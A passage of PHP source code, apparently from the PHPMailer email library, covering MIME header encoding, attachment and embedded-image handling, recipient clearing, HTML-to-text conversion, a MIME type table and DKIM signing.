        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
